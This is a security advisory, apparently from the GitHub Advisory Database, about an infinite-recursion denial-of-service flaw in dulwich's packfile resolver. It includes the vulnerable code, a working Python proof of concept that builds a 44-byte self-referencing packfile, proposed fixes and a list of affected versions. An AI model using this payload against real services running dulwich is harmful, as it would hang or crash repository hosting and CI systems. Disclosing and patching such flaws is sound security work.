Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Affected file
dulwich/pack.py(Method:Pack.resolve_object)
Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
**Vulnerable Code Breakdown (dulwich/pack.py):**
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursionPotential impact
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
- CPU Exhaustion: The process will spin at 100% CPU indefinitely.
- Denial of Service: Any service using
dulwich(web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. - Protocol Incompatibility: This behavior violates the Git packfile specification. The standard
gitC client explicitly guards against this:if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]Possible solution
- Explicit Guard: Add a check in
Pack.resolve_objectto rejectdelta_offset == 0:
if delta_offset == 0:
raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")- Recursion Depth: Implement a depth limit (e.g.,
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Text from GitHub Advisory Database
Affected versions 52
- dulwich, pip< 1.2.9GitHub
- dulwich, PyPIfrom first release, fixed in 1.2.9OSV
- dulwich, PyPI0.0.1OSV
- dulwich, PyPI0.1.0OSV
- dulwich, PyPI0.1.1OSV
- dulwich, PyPI0.10.0OSV
- dulwich, PyPI0.10.1aOSV
- dulwich, PyPI0.11.0OSV
- dulwich, PyPI0.11.1OSV
- dulwich, PyPI0.11.2OSV
- dulwich, PyPI0.12.0OSV
- dulwich, PyPI0.13.0OSV
- dulwich, PyPI0.14.0OSV
- dulwich, PyPI0.14.1OSV
- dulwich, PyPI0.15.0OSV
- dulwich, PyPI0.16.0OSV
- dulwich, PyPI0.16.1OSV
- dulwich, PyPI0.16.2OSV
- dulwich, PyPI0.16.3OSV
- dulwich, PyPI0.17.1OSV
- dulwich, PyPI0.17.2OSV
- dulwich, PyPI0.17.3OSV
- dulwich, PyPI0.18.0OSV
- dulwich, PyPI0.18.1OSV
- dulwich, PyPI0.18.2OSV
- dulwich, PyPI0.18.3OSV
- dulwich, PyPI0.18.4OSV
- dulwich, PyPI0.18.5OSV
- dulwich, PyPI0.18.6OSV
- dulwich, PyPI0.19.0OSV
- dulwich, PyPI0.19.1OSV
- dulwich, PyPI0.19.10OSV
- dulwich, PyPI0.19.11OSV
- dulwich, PyPI0.19.12OSV
- dulwich, PyPI0.19.13OSV
- dulwich, PyPI0.19.14OSV
- dulwich, PyPI0.19.15OSV
- dulwich, PyPI0.19.16OSV
- dulwich, PyPI0.19.2OSV
- dulwich, PyPI0.19.3OSV
- dulwich, PyPI0.19.3a0OSV
- dulwich, PyPI0.19.4OSV
- dulwich, PyPI0.19.5OSV
- dulwich, PyPI0.19.6OSV
- dulwich, PyPI0.19.7OSV
- dulwich, PyPI0.19.8OSV
- dulwich, PyPI0.19.9OSV
- dulwich, PyPI0.2.1OSV
- dulwich, PyPI0.20.0OSV
- dulwich, PyPI0.20.1OSV
- dulwich, PyPI0.20.10OSV
- dulwich, PyPI0.20.11OSV